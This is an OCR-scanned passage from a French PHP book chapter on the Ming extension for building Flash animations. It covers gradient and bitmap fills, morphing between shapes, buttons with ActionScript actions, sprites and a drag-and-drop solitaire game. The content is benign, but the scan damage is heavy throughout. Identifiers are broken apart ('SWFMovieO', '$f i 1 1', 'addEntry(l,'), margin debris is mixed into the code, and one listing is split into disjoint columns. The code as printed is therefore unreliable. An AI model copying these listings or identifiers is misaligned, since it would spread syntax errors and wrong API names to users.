// afin de le remplir d'un degrade 
$dessinForme = new SWFShape(); 
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II Creation du degrade 
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// compose de 3 couleurs 
$degrade = new SWFGradient() ; 
$degrade->addEntry(0, 255, 0, 0); // Du Rouge 
$degrade->addEntry (0.3, 255, 255, 0); // En pasant par le Jaune 
$degrade->addEntry(l, 0, 255, 0); // Vers le Vert 

// On prendra un degrade lineaire 

$fill = $dessinForme->addFill ($degrade, SWFFILL_LINEAR_GRADIENT) ; 

$dessinForme->setRightFi 11 ($f i 11 ) ; 

// Un simple carre de 1700 de cote 

// puisque par defaut le degrade 

// s'etale de -800 a 800 (environ) 

// Rassurez vous, on verra que 1 1 on 

// peut tres bien s'affranchir de ce "probleme" 

$dessinForme->movePenTo(-850, -850) ; 

$dessinForme->drawLine(1700, 0) ; 

$dessinForme->drawLine(0, 1700) ; 

$dessinForme->drawLine(-1700, 0) ; 

$dessinForme->drawLine(0, -1700) ; 



$anim = new SWFMovie(); 
°£ ^ $anim->setDimension(1750, 1750); 

oS IS $anim->setBackground(255, 255, 255); 

g ^ $anim->setRate(l) ; 

TO = 

M — $formePleine=$anim->add($dessinForme) ; 

g I $formePleine->moveTo(875, 875); 

- 1 '«= $anim->nextFrame() ; 

CO 

header ("Con tent- type: appl i cation/x-shockwave-fl ash") ; 
$anim->output() ; 



7 



> 



Methodes "raccourcis" 

Les methodes setLeftFill () et setRightFill ( ) possedent des variantes 



REHARQJE permettant des raccourcis. 
Ainsi : 



SWFShape->setLeftFill($rouge, $vert, $bleu, [$ alpha ] ) est un mccourci 
pour SWFShape->setLeftFill (SWFShape->addFill ($rouge, $vert, $bleu, 
[$alpha]). 

SWFShape->setRightFill ($rouge, $vert, $bleu, [$ alpha ]) est un raccourci 
pour SWFShape->setRightFill (SWFShape->addFill ($rouge, $vert, $bleu, 
[$alpha]). 
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Afin de mieux maitriser le positionnement de 1'objet de remplissage dans la forme, l'objet 
SWFFill propose un certain nombre de methodes. 

SWFM->moveTo() 

Deplace l'origine du motif de remplissage (par exemple, le coin superieur gauche de l'image). 

Syntaxe void moveTo(int $x, int $y) 

$x Nouvelle coordonnee x de l'objet de remplissage. 

$y Nouvelle coordonnee y de l'objet de remplissage. 

SWFM->scaleTo() 

Modifie la taille du motif de remplissage. 

Syntaxe void seal eTo(doubl e $coefX, double $coefY) 

$coef X Multiplie la largeur du motif de remplissage par le coefficient $ coe f X par 

rapport a sa taille initiale. Dans le cas ou le motif de remplissage est une 
image (et non un degrade), son comportement est plus mysterieux. 

$coefY Multiplie la hauteur du motif de remplissage par le coefficient $coefY 

par rapport a sa taille initiale. Dans le cas ou le motif de remplissage est 
une image (et non un degrade), son comportement est plus mysterieux. 

SWFFill->rotateTo() 

Fait pivoter le motif de remplissage. 

Syntaxe void rotateTo (double $angle) 

$angl e Angle de rotation du motif de remplissage par rapport a son angle initial, 

exprime en degres. 

SWFFill->skewXTo() 

Deforme le motif de remplissage selon l'axe des x. 
Syntaxe void skewXTo(doubl e $pente) 

$pente Coefficient de pente (ou tangente de Tangle d'inclinaison) applique sur 

l'axe des x par rapport a son axe d'origine. 
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SWFFill->skewYTo() 



Deforme le motif de remplissage selon l'axe des y. 
Syntaxe void skewYTo(doubl e $pente) 

$pente Coefficient de pente (ou tangente de l'angle d'inclinaison) applique sur 

l'axe des y par rapport a son axe d'origine. 

Pour mieux positionner une image (non repetee a l'infini), nous avons tout interet a faire appel 
a ces methodes, comme le montre le script suivant : 

Listing 13.36 : ming06.php 

<?php 

// Cet exemple reprend l'exemple precedent. 

// A la seule difference que 1 'objet de remplissage 

// est deplace pour etre mieux centre dans la forme 

$dessinForme = new SWFShape(); 

CO 

.£ .e $dessinForme->setLine(l, 0, 0, 0); 

S $bitmap = new SWFBitmap("images/rempl issage.jpg") ; 

TO = 

.1 $fill = $dessinForme->addFill ($bitmap, SWFFILL_CLIPPED_BITMAP) ; 

GO JZ 
CD — 



// Jusqu'alors nous n'avons pas manipule 

// 1 'objet SWFFill obtenu 

// Et bien, c'est maintenant chose faite 

// Plutot que de faire coincider le coin superieur 

// gauche de 1 'image avec l'origine de la forme (0,0) 

// C'est le milieu de 1 'image que 1'on va faire 

// coincider avec l'origine de la forme 

// Ce qui permet egalement de manipuler les 

// methodes getWidth() et getHeight() de SWFBitmap 

$f i 1 1 ->moveTo (-$bi tmap->getWi dth ()/2, -$bi tmap->getHei ght () /2) ; 

$dessinForme->setLeftFi 11 ($f i 1 1 ) ; 

$dessinForme->movePenTo(-50, -40) ; 
$dessinForme->drawCurveTo(0, -60, 60, -20); 
$dessinForme->drawCurveTo(10, 5, 60, 40); 
$dessinForme->drawCurveTo(0, 60, -30, 30); 
$dessinForme->drawCurveTo(-20, 0, -50, -40); 

$anim = new SWFMovieO; 
$anim->setDimension(300, 100); 
$anim->setBackground(255, 255, 255); 
$anim->setRate(l) ; 
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$formePl eine=$anim->add($dessinForme) ; 
$formePleine->moveTo(60, 50); 
$anim->nextFrame() ; 

header ("Con tent-type: appl i cation/x-shockwave-fl ash") ; 
$anim->output() ; 

?> 

Ce qui donne le resultat : 



Ces methodes sont egalement indispensables pour bien maitriser le rendu d'un degrade. 
Listing 13.37 : ming gradientOS.php 



$degrade->addEntry(0, 255, 0, 0); // Du Rouge 
$degrade->addEntry(l, 255, 255, 0); // Vers le Jaime 

// On prendra un degrade lineaire 

$fill = $dessinForme->addFill ($degrade, SWFFILL_LINEAR_GRADIENT) ; 

// Par defaut, le degrade 

// s'etale des abscisses -800 a 800 

// Notre forme, elle, fait a peut pres 60x60 

// Nous allons done reduire la tail 1 e 

// de la forme de remplissage 

$fill->scaleTo (60/1600) ; 

// Et juste pour le "fun" 

// on va en faire un degrade a 45 degres 

$fill->rotateTo(45) ; 

$dessinForme->setRightFi 1 1 ($fill) ; 

// Notre forme quelconque 
// de taille approximative 
// 60x60 




Figure 13.44 : 

Image de remplissage 
centree 



<?php 



// Creation du degrade 
// compose de 2 couleurs 
$degrade = new SWFGradient() ; 



// Creation d'une forme quelconque 
// afin de la remplir d'un degrade 
$dessinForme = new SWFShape(); 
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$dessinForme->movePenTo(-50, -40) ; 
$dessinForme->drawCurveTo(0, -60, 60, -20); 
$dessinForme->drawCurveTo(10, 5, 60, 40); 
$dessinForme->drawCurveTo(0, 60, -30, 30); 
$dessinForme->drawCurveTo(-20, 0, -50, -40); 

$anim = new SWFMovie(); 
$anim->setDimension(100, 100); 
$anim->setBackground(255, 255, 255); 
$anim->setRate(l) ; 

$formePl ei ne=$anim->add ($dessi n Forme) ; 
$formePleine->moveTo(50, 50); 
$anim->nextFrame() ; 

header ("Con tent- type: appl i cation/x-shockwave-fl ash") ; 
$anim->output() ; 

?> 
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Ce qui permet d'obtenir le resultat suivant : 
Figure 13.45: 

Remplissage par un degrade ajuste a la 
forme 



Le morphing 



II y a un type d'objet dont nous n'avons pas encore parle jusque-la. II s'agit de l'objet 
"morphing". Comme vous l'aurez compris, l'objet morphing permet de realiser des morphings : 
autrement dit, cela permet d'afficher une succession de dessins representant les etapes 
intermediaires d'une transition d'un dessin de depart a un dessin d'arrivee par modifications 
legeres. Cet objet s'instancie par un appel au constructeur swFMorph ( ) . 



SWFMorph 

Objet morphing. 

Syntaxe SWFMorph SWFMorph (void) 

Cet objet propose deux methodes : 



SWFMorph->getShapel() 

Retourne une reference sur la forme de depart du morphing afin de pouvoir la dessiner. 
Syntaxe SWFShape getShapel(void) 
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SWFMorph->getShape2() 

Retourne une reference sur la forme d'arrivee du morphing afin de pouvoir la dessiner. 
Syntaxe SWFShape getShape2(void) 

Le principe d'utilisation de cet objet est done de recuperer une reference sur l'objet de depart, 
puis d'utiliser cette reference pour creer l'objet de depart (par appel aux methodes proposees 
par l'objet SWFShape). Et faire ensuite de meme avec l'objet d'arrivee. 

L'objet SWFDisplayltem propose une methode dediee aux objets SWFMorph. II s'agit de la 
methode : 



SWFDisplayItem->setRatio () 

Determine (pour une vue donnee) quelle etape de la transformation doit etre affichee. 
Syntaxe void setRatio (double $etape) 

$etape Etape de transformation souhaitee. Cette valeur doit etre comprise entre 

et 1. Si elle est fixee a 0, alors e'est l'objet de depart qui est affiche. Si elle 
est fixee a 1, alors e'est l'objet d'arrivee qui est affiche. Pour toutes les 
valeurs intermediaires, e'est un objet de transition qui est affiche. Cet objet 
aura d'autant plus l'apparence de l'objet de depart que $etape est proche 
de 0, et il aura d'autant plus l'apparence de l'objet d'arrivee que $ etape 
est proche de 1. 

L'algorithme de base d'une animation de type morphing aura done l'allure suivante : 

Listing 13.38 : ming morphOLphp 

<?php 

// Instanciation d'un objet 
// de morphing 

StraceMorph = new SWFMorph(); 

// Recuperation d'une reference 
// sur l'objet de depart 
// du morphing 

SformeDepart = $traceMorph->getShapel () ; 

// Trace de la forme de depart 

// par appel aux methodes 

// de 1 'objet SWFShape 

// ex: $formeDepart->drawLi ne( . . . ) 
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// Recuperation d'une reference 
// sur 1 'objet d'arrivee 
// du morphing 

$formeArri vee = $traceMorph->getShape2 () ; 

// Trace de la forme d'arrivee 

// par appel aux methodes 

// de 1 'objet SWFShape 

// ex: $formeArrivee->drawLine(. . .) 

// Instanciation de 1 'animation 
// et definition de ses parametres 

$anim = new SWFMovieO; 

// Ajout de 1 'objet de morphing 
// et recuperation de 1 'objet 
// SWFDi spl ayltem associe 

$morph=$anim->add($traceMorph) ; 

// Creation des vues successives 
// contenant les differentes 
// phases du morphing 
// En faisant varier le parametre 
// de setRatio entre et 1 

$nbEtape=30; 

for ($i=0; $i<=$nbEtape; $i++) { 
$morph->setRatio($i /$nbEtape) ; 
$anim->nextFrame() ; 

} 

// Emission de 1 'animation 
// vers le client 



header ("Con tent- type: appl i cation/x-shockwave-fl ash") ; 
$anim->output() ; 

?> 



II est fortement conseille d'avoir une forme d'arrivee qui contienne le meme nombre de 
segments que la forme de depart. Si la difference est trop grande, vous risquez tout bonnement 
un "crash" du navigateur. Cependant, meme en respectant cette regie, le resultat n'est pas 
parfait, puisque la forme obtenue avec setRatio (l) n'est pas exactement la forme d'arrivee 
desiree. 



Comme c'est le cas, dans l'exemple suivant : 
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Listing 13.39 : ming_morph02.php 

<?php 

// Creation d'un objet Morphing 

$morph = new SWFMorph(); 

// Recuperation d'une reference 
// sur 1 'objet de depart 

$formeDepart = $morph->getShapel () ; 
$formeDepart->setLine(l, 0, 0, 0); 

// Dessin de la forme de depart 

// ? inverse (16 segments) 
$formeDepart->movePenTo(-80, -30) ; 
$formeDepart->drawLine(10, 0); 
$formeDepart->drawLine(0, 10); 
$formeDepart->drawLine(-10, 0); 
$formeDepart->drawLine(0, -10); 
$formeDepart->movePenTo(-80, -10) ; 
$formeDepart->drawLine(10, 0); 
$formeDepart->drawLine(0, 10); 
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$formeDepart->drawLine(-10, 10); H. — ■ 

$formeDepart->drawLine(0, 10); 5" 3 

$formeDepart->drawLine(10, 0); «° "g 
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$formeDepart->drawl_ine(0, -10); 
$formeDepart->drawLine(10, 0); 
$formeDepart->drawLi ne(0, 20); S 
$formeDepart->drawLine(-30, 0); 
$formeDepart->drawLine(0, -20); 
$formeDepart->drawLi ne(10, -10); 
$formeDepart->drawLine(0, -10); 

// P (10 segments) 
$formeDepart->movePenTo(-50, -30) ; 
$formeDepart->drawLine(30, 0); 
$formeDepart->drawLine(0, 40); 
$formeDepart->drawLine(-20, 0); 
$formeDepart->drawLine(0, 20); 
$formeDepart->drawLine(-10, 0); 
$formeDepart->drawLine(0, -60); 
$formeDepart->movePenTo(-40, -20) ; 
$formeDepart->drawLi ne(10, 0); 
$formeDepart->drawLine(0, 20); 
$formeDepart->drawLine(-10, 0); 
$formeDepart->drawLine(0, -20); 

// H (12 segments) 
$formeDepart->movePenTo(-10, -30) ; 
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$formeDepart->drawLi ne(10, 0); 
$formeDepart->drawLi ne(0, 20); 
$formeDepart»drawLi ne(10, 0); 
$formeDepart->drawLi ne(0, -20); 
$formeDepart->drawLi ne(10, 0); 
$formeDepart->drawLine(0, 60); 
$formeDepart->drawLi ne(-10, 0) 
$formeDepart->drawLi ne(0, -20) 
$formeDepart->drawLi ne(-10, 0) 
$formeDepart->drawLi ne(0, 20); 
$formeDepart->drawLi ne(-10, 0); 
$formeDepart->drawLi ne(0, -60); 

// P (10 segments) 

$formeDepart->movePenTo(30, -30) ; 

$formeDepart->drawLi ne(30, 0); 

$formeDepart->drawLi ne(0, 40); 

$formeDepart->drawLi ne(-20, 0); 

$formeDepart->drawLi ne(0, 20); 

$formeDepart->drawLi ne(-10, 0); 

$formeDepart->drawLi ne(0, -60); 

$formeDepart->movePenTo(-40, -20) ; 

$formeDepart->drawLi ne(10, 0); 
°£ ^ $formeDepart->drawLi ne(0, 20); 

cu S3 $formeDepart->drawLi ne(-10, 0); 

g ^ $formeDepart->drawLine(0, -20); 

.E «= // ? (16 segments) 



E $formeDepart->movePenTo(80, 20); 

$formeDepart->drawLi ne(10, 0); 
$formeDepart->drawLi ne(0, 10); 
$formeDepart->drawLi ne(-10, 0); 
$formeDepart->drawLi ne(0, -10); 
$formeDepart->movePenTo(90, 10); 
$formeDepart->drawl_i ne(-10, 0); 
$formeDepart->drawLi ne(0, -10); 
$formeDepart->drawLi ne(10, -10); 
$formeDepart->drawLi ne(0, -10); 
$formeDepart->drawLi ne(-10, 0); 
$formeDepart->drawLi ne(0, 10); 
$formeDepart->drawLi ne(-10, 0); 
$formeDepart->drawLi ne(0, -20); 
$formeDepart->drawLi ne(30, 0); 
$formeDepart->drawLi ne(0, 20); 
$formeDepart->drawl_i ne(-10, 10); 
$formeDepart->drawLi ne(0, 10); 

$formeDepart->movePenTo(-50, 40) ; 
$formeDepart->drawLi ne(100, 0); 
$formeDepart->drawLi ne(0, 10); 
$formeDepart->drawLi ne(-100, 0); 
$formeDepart->drawl_i ne(0, -10); 
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$formeArn'vee = $morph->getShape2() ; 
$formeArn'vee->setLine(l, 0, 0, 0) ; 



// F (10 segments 
$f ormeArri vee->movePe 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 

// A (12 segments) 
$f ormeArri vee->movePe 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->movePe 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 
$f ormeArri vee->drawLi 



nTo(-120, -30); 
ne(30, 0); 
ne(0, 10); 
ne(-20, 0); 
ne(0, 20); 
ne(10, 0); 
ne(0, 10); 
ne(-10, 0); 
ne(0, 20); 
ne(-10, 0); 
ne(0, -60); 



nTo(-80, -30); 
ne(30, 0); 
ne(0, 60); 
ne(-10, 0): 
ne(0, -20): 
ne(-10, 0): 
ne(0. 20); 
ne(-10, 0); 
ne(0, -60); 
nTo(-70, -20); 
ne(10. 0); 
ne(0. 20); 
ne(-10, 0); 
ne(0, -20); 



// C (8 segments) 

$formeArrivee->movePenTo(-40, -30) : 
$formeArrivee->drawLine(30, 0); 
$formeArrivee->drawLine(0, 10); 
$formeArrivee->drawLine(-20, 0) ; 
$formeArrivee->drawLine(0, 40); 
$formeArrivee->drawLine(20, 0); 
$formeArrivee->drawLine(0, 10); 
$formeArrivee->drawLine(-30, 0) ; 
$formeArrivee->drawLine(0, -60) ; 

// I (8 segments) 
$formeArrivee->movePenTo(0, -30) ; 
$formeArrivee->drawLine(10, 0); 
$formeArrivee->drawLine(0, 10); 
$formeArrivee->drawLine(-10, 0) ; 
$formeArrivee->drawLine(0, -10) ; 
$formeArrivee->movePenTo(0, -10) ; 
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$formeArri vee->drawLi ne(10, 0) 
$formeArri vee->drawLi ne(0, 10) 
$formeArri vee->drawLi ne(0, 10) 
$formeArri vee->drawLi ne(0, 20) 
$formeArri vee->drawLi ne(-10, 0) 
$formeArri vee->drawLi ne(0, -20) 
$formeArri vee->drawLi ne(0, -10) 
SformeArri vee->drawLi ne(0, -10) 

// L (6 segments) 
$formeArrivee->movePenTo(30, -30) ; 
$formeArri vee->drawLi ne(10, 0): 
$formeArri vee->drawLi ne(0, 50): 
$formeArri vee->drawLi ne(20, 0): 
$formeArri vee->drawLi ne(0, 10); 
$formeArri vee->drawLi ne(-30, 0); 
$formeArri vee->drawLi ne(0, -60); 

// E (12 segments) 

$formeArnvee->movePenTo(70, -30) ; 

$formeArri vee->drawLi ne(30, 0); 

$formeArri vee->drawLi ne(0, 10); 

$formeArri vee->drawl_i ne(-20, 0); 
°£ ^ $formeArri vee->drawLi ne(0, 10); 

oS IS $formeArri vee->drawLi ne(10, 0); 

Sg ^ $formeArri vee->drawLi ne(0, 10); 

™= $formeArri vee->drawLi ne(-10, 0): 

M «= $formeArri vee->drawLi ne(0, 20); 

g E $formeArri vee->drawLi ne(20, 0); 

~ 1 § $formeArri vee->drawLi ne(0, 10); 

" $formeArri vee->drawLi ne(-30, 0); 

SformeArri vee->drawLi ne(0, -60); 

// ! (8 segments) 

$formeArrivee->movePenTo(110, -30) ; 
$formeArri vee->drawLi ne(10, 0); 
$formeArri vee->drawLi ne(0, 40); 
$formeArri vee->drawLi ne(-10, 0); 
$formeArri vee->drawLi ne(0, -40); 
$formeArrivee->movePenTo(110, 20) ; 
$formeArri vee->drawLi ne(10, 0); 
SformeArri vee->drawLi ne(0, 10); 
$formeArri vee->drawLi ne(-10, 0); 
$formeArri vee->drawLi ne(0, -10); 

$anim = new SWFMovieO; 
$anim->setDimension(400, 100); 
$anim->nextFrame() ; 

$vueMorph=$anim->add($morph) ; 
$vueMorph->moveTo(200, 50); 
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for ($i=0; $i<=20; $i++) { 

$vueMorph->setRatio($i/20) ; 
$anim->nextFrame() ; 

} 

header ("Con tent-type: appl i cation/x-shockwave-fl ash") ; 
$anim->output() ; 

?> 

Des animations interactives 

II est possible de rendre interactives ces animations en ajoutant des objets boutons. Les boutons 
sont des objets qui s'instancient par un appel au constructeur swFButton. 

SWFButton 

Objet bouton. 

Syntaxe SWFButton SWFButton (void) 

Cet objet propose deux methodes : l'une pour preciser l'aspect visuel du bouton, l'autre pour 
preciser les actions a declencher. SWFButton propose egalement une serie de methodes que 
Ton qualifiera de raccourcis. 

L'aspect visuel peut dependre de l'etat du bouton (enfonce ou non, survole par le curseur de la 
souris ou non). On distingue ainsi quatre etats, definis par les constantes : 

swfbutton_up : l'etat par defaut, c'est-a-dire bouton non enfonce. 
swfbutton_over : bouton non enfonce, mais survole par le curseur de la souris. 
swfbutton_down : bouton enfonce. 

SWFBUTTON_HIT. 

Pour definir l'aspect visuel du bouton, on fera done appel (autant de fois que necessaire pour 
preciser la representation du bouton dans les differents etats) a la methode : 



SWFButton->addShape() 

Associe une forme a un ou plusieurs etats du bouton. 

Syntaxe void addShape(SWFShape $forme, int $etat)) 

$ f o rme Objet qui doit representer l'objet lorsqu'il est dans l'etat precise. 

$etat Un ou plusieurs des etats presentes precedemment. Pour preciser 

plusieurs etats, vous utiliserez l'operateur logique OU (ce qui donne par 
exemple SWFBUTTON_UP | SWFBUTTON_OVER). 
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Qui a donne naissance aux raccourcis : 

setup ( $forme) equivalant a addShape ( $f orme , SWFBUTTON_UP) ; 
setOver ( $ forme) equivalant a addShape ( $f orme , SWFBUTTON_OVER) ; 
setDown ( $forme) equivalant a addShape ($f orme, SWFBUTTON_DOWN) ; 
setHit (Sforme) equivalant a addShape ($f orme, SWFBUTTON_HIT) . 

Pour definir les actions associees a un bouton, nous ferons appel a la methode : 



SWFButton->addAction () 

Associe une action a un bouton. 

Syntaxe void addAction(SWFAction $action, int $evenement) 

$action Action a declencher. 

$evenement Une des valeurs suivantes (ou combinaison avec un OU logique) : 

SWFBUTTON_MOUSEOVER : cet evenement est declenche a l'instant ou le 
JS curseur de la souris entre dans l'objet (bouton non enfonce). 

■5 «g SWFBUTTON_MOUSEOUT : cet evenement est declenche a l'instant ou le 

jg IT curseur de la souris sort de l'objet (bouton non enfonce). 

°> g SWFBUTTON_MOUSEDOWN cet evenement est declenche a l'instant ou le 

E ~ bouton de la souris est enfonce, alors que le curseur se situe au-dessus de 

8 I l'objet. 

—J "«= SWFBUTTON_MOUSEUP : cet evenement est declenche a l'instant ou le 

bouton de la souris est relache, alors que le curseur se situe au-dessus de 
l'objet. C'est generalement sur cet evenement que sont declenchees les 
actions. 

SWFBUTTON_DRAGOUT : cet evenement est declenche a l'instant ou le 
curseur de la souris quitte l'objet, alors que le bouton a ete enfonce dans 
l'objet et est maintenu enfonce lors du deplacement de l'objet. Autrement 
dit lors d'un cliquer-glisser hors de l'objet. 

SWFBUTTON_DRAGOVER : cet evenement est declenche a l'instant ou le 
curseur de la souris entre dans l'objet, alors que le bouton a ete enfonce 
dans l'objet et est maintenu enfonce lors du deplacement de l'objet. 
Autrement dit lors d'un cliquer-glisser hors puis dans l'objet. 
SWFBUTTON_MOUSEUPOUTSlDE : cet evenement est declenche a 
l'instant ou le bouton est relache en dehors de l'objet apres avoir ete 
enfonce dans l'objet et maintenu enfonce lors du deplacement de l'objet. 
Autrement dit a Tissue d'un cliquer-glisser hors de l'objet. 

La methode addiction ( ) possede un raccourci : 

setAction ( $action) equivalant a addAction ( $action, SWFBUTTON_MOUSEUP) . 

L'objet action s'instancie en appelant le constructeur swFAction ( ) . 
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SWFAction 

Instancie un objet Action. 

Syntaxe SWFAction SWFAction (string $script) 

$ s c r i pt Action script a executer. 




Ressources Javascript 

Vous trouverez une liste de sites consacres a Flash (et a V Action script) a Vadresse 



INTERNET http:llwww.macromediaxomlfrlsupportlflashltslclocumentslflash_websites.htm. 

Le document de reference Action script est disponible en anglais a Vadresse : 
http://www.macromedia.com/support/flash/action_scripts/. 



Les actions peuvent etre appliquees directement a l'objet animation (SWFMovie) lui-meme. 
Ainsi, une des premieres actions que vous serez sans doute amene a demander sera l'arret de 
l'animation (afin, par exemple, de ne pas derouler toute l'animation sans avoir au prealable 
clique sur un bouton). 

Cela se faisant simplement par : 

<?php o> 9* 

// (...) creation de l'animation 3 ™ 

$anim->add(new SWFAction("stop() ;")) ; H. — ■ 

// (...) generation/affichage de ranimation 5" 3 

">> *£ 

■ CD 

_2 «o 

OS CD 
CO — 

CD 

Importance du point-virgule «° 

^ // est indispensable de terminer toutes les instructions, y compris la derniere, par un 
REMARQJE po i nt . v irgule. 



Nous verrons un exemple plus complet d'utilisation de lAction Script apres avoir vu les objets 
SWFSprite. 



Les sous-animations 

Afin de pouvoir gerer plus facilement les differents elements d'une animation, il est possible de 
creer des sous-animations. Ces sous-animations reprennent pour ainsi dire les proprietes d'une 
animation. Elles peuvent s'instancier par un appel au constructeur SWFSprite ( ) . 



SWFSprite 

Instancie un objet sous-animation. 
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Syntaxe SWFSprite SWFSpriteQ 

retour Objet SWFSprite. 

Et elles possedent les methodes suivantes : 



SWFSprite->add() 

Ajoute un objet a la sous-animation. 

Syntaxe SWFDi spl ayltem add(mixed $objet) 

$objet Objet a ajouter a la sous-animation. Ce peut etre un objet SWFText, 

SWFTextField, SWFShape, SWFMorph, SWFButton, SWFAction ou 
SWFSprite. 

retour Un objet SWFDisplayltem uniquement pour les objets graphiques. 



SWFSprite->remove() 

Supprime un objet de la sous-animation. 

Syntaxe void remove(SWFDi spl ayltem $refObjet) 

$refObjet Reference del'objet a supprimertel que retournee par la methode add ( ) . 



SWFSprite->nextFrame () 

Valide la vue courante et passe a la suivante. 
Syntaxe void nextFrame(void) 

On notera, cependant, qu'il n'est pas possible d'imposer des vitesses de defilement differentes 
d'une sous-animation a l'autre. 

Ces sous-animations se manipulent exactement comme n'importe quel autre objet. Elles 
s'ajoutent a 1'animation principale par appel a la methode add(), et retournent un objet 
SWFDisplayltem qui permet de les deplacer, agrandir, reduire, deformer, etc. 

Rappelons qu'il est possible de leur donner un nom grace a la methode setName ( ) de 
SWFDisplayltem. Ceci est particulierement utile lorsqu'il s'agit de faire reference a une 
sous-animation depuis un script "Action script". 
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Application : jeu du solitaire 

Voici, un exemple d'utilisation de l'Action Script faisant intervenir la notion de cliquer-deposer 
(drag and drop), les sous-animations (ici les pions) et quelques tests conditionnels. 



Listing 13.40 : mingsolitaire.php 

<?php 



$dessinTrou = new SWFShape(); 
$dessinTrou->setRightFill (0, 0, 0) ; 
$dessinTrou->movePenTo(-5, -5); 
$dessinTrou->drawLine(10, 0); 
$dessinTrou->drawLine(0, 10); 
$dessinTrou->drawLine(-10, 0); 
$dessinTrou->drawLine(0, -10); 



$spriteTrou = new SWFSprite(); 
$spri teTrou->add ($dessi nTrou) ; 
$spriteTrou->nextFrame() ; 



// Le Pi on sera blanc par defaut 

$dessinPion = new SWFShape(); _,. 

$dessinPion->setRightFill (255, 255, 255); a> J* 

$dessinPion->movePenTo(-4, -4); 3 ™ 

$dessinPion->drawLine(8, 0); £2. — ■ 

$dessinPion->drawLine(0, 8); § a> 

$dessinPion->drawLine(-8, 0); " ro 

$dessinPion->drawLine(0, -8); W % 

// Le Pion sera jaune lorsque le curseur de la souris S» 
// sera dessus 

$dessinPionSurvole = new SWFShape(); 

$dessinPionSurvole ->setRi ghtFi 1 1 (255, 255, 125); 

$dessinPionSurvole ->movePenTo(-4, -4); 

$dessinPionSurvole ->drawLi ne(8, 0); 

$dessinPionSurvole ->drawLi ne(0, 8); 

SdessinPionSurvole ->drawLi ne(-8, 0); 

$dessinPionSurvole ->drawLi ne(0, -8); 



// Le Pion sera rouge lorsque le bouton de la souris 
// sera enfonce 

$dessinPionEnfonce = new SWFShape(); 

$dessinPionEnfonce ->setRi ghtFi 1 1 (255, 0, 0); 

$dessinPionEnfonce ->movePenTo(-4, -4); 

$dessinPionEnfonce ->drawLi ne(8, 0); 

$dessinPionEnfonce ->drawLi ne(0, 8); 

SdessinPionEnfonce ->drawLi ne(-8, 0); 

$dessinPionEnfonce ->drawLi ne(0, -8); 



$boutonPion = new SWFESutton () ; 
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// Declaration des differents etats du pi on (bouton) 
$boutonPion->addShape($dessinPion, SWFBUTTON_UP | SWFBUTTON_HIT) ; 
$boutonPion->addShape($dessinPionSurvole, SWFBUTT0N_0VER) ; 
$boutonPion->addShape($dessinPionEnfonce, SWFBUTT0N_D0WN) ; 

// Declaration des differentes operations a realiser 
// selon les evenements 

// Si le bouton est enfonce, c'est que 1 'on est en train 
// de deplacer le pi on 

$boutonPion->addAction(new SWFAction("startDrag(tnis,0) ;") , 
SWFBUTTON MOUSEDOWN); 



CO 
03 

■s j 

C/3 II 
CD 

ro = 

E -2 

— CO 

CO c 

03 t= 



// Si le bouton est relache, c'est que l'on est en train 
// deposer le pion 
$boutonPion->addAction( 
new SWFAction( 

// Arreter le displacement du pion 
"stopDragO;". 

"deplacementValide = TRUE;". 

// Controler ou le pion a ete deplace 

// II doit s'agir d'un trou 

"if (this._droptarget.substr(l,4) != 'trou') {". 
deplacementValide = FALSE;". 

"};"• 

// Recuperation des coordonnees initiales 
// du pion deplace 
chaine = \"\"+this;". 
tableau = chai ne.spl i t ('.');" . 
pion = tableau[tableau.length-l] ;". 
pion = pion .substr(4) ; " . 
tableau = pion .spl i t ( ' x ' ) ; " . 
pionx = parselnt (tabl eau [0] ) ; " . 
piony = parselnt(tableau[l]) ;". 
if (deplacementValide) {". 

trou = thi s ._droptarget .substr(5) ; " . 
tableau = trou. spl i t ( ' x ' ) ; " . 
troux = parselnt (tabl eau [0] );" . 
trouy = parselnt (tabl eau [1] );" . 
// Le trou doit etre 2 case a gauche, droite, haut ou bas 
// du point de depart du pion 

if (((Math.abs(pionx-troux) != 2)&&". 
(Math.abs(piony-trouy) !=2)) ||". 
((Math.abs(pionx-troux)+Math.abs(piony-trouy))>2)) 
deplacementValide = FALSE;". 



if (deplacementValide) {". 

// Le pion doit sauter un autre pion 
"pionsautex=(troux+pionx) /2; " . 
"pionsautey= (trouy+piony) /2; " . 
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"if (_levelO['pion'+pionsautex+'x'+pionsautey] ._visible". 
" != TRUE) {". 

deplacementValide = FALSE; " . 



"};". 

II 1 , II 



"if (deplacementValide) {". 

// Si c'est ok. Alors on affiche le nouveau pion 
// et on cache le pion deplace et le pion saute 
// Affichage du nouveau pion 
"_1 evel [' pi on 1 +troux+ 1 x 1 +trouy] ._vi si bl e=TRUE; " . 
// Suppression du pion saute 
"_levelO['pion'+pionsautex+'x'+pionsautey] ._vi si bl e=FALSE; " . 
// Suppression du pion deplace 
"this._visible=FALSE;". 

"};"• 

// Quoiqu'il arrive on remet le pion a sa place 

"this._x=12+pionx*12;". 

"this._y=12+piony*12;" 

), 

SWFBUTTON_MOUSEUP | SWFBUTTON_MOUSEUPOUTSIDE) ; 

$spritePion = new SWFSprite(); 
$spritePion->add($boutonPion) ; 

$spritePion->nextFrame() ; M e«» 

=. r- 

3 CD 

$anim = new SWFMovie(); ja ™. 

$anim->setDimension(150, 150); o 3 

$anim->setBackground(125, 125, 255); 3 «= 

$anim->setRate(l) ; 2 «* 

$anim->add(new SWFAction("stop() ;")) ; §>. ^ 

CD 

CO 

$larg=3; 



// Positionne les trous en croix 
for ($x=0; $x<3*$larg; $x++) { 

for ($y=0; $y<3*$larg; $y++) { 
$tierx = f 1 oor($x/$l arg) ; 
$tiery = fl oor($y/$l arg) ; 
if ( (($tierx+$tiery)%2 == 1) 

I |(($tierx == 1) && ($tiery == 1))) { 
$trou[$x] [$y] = $anim->add($spriteTrou) ; 
$trou [$x] [$y] ->setName ( " trou" . $x . "x" . $y) ; 
$trou[$x] [$y]->moveTo(12+$x*12,12+$y*12) ; 

} 

} 

} 

// Positionne tous les pions 
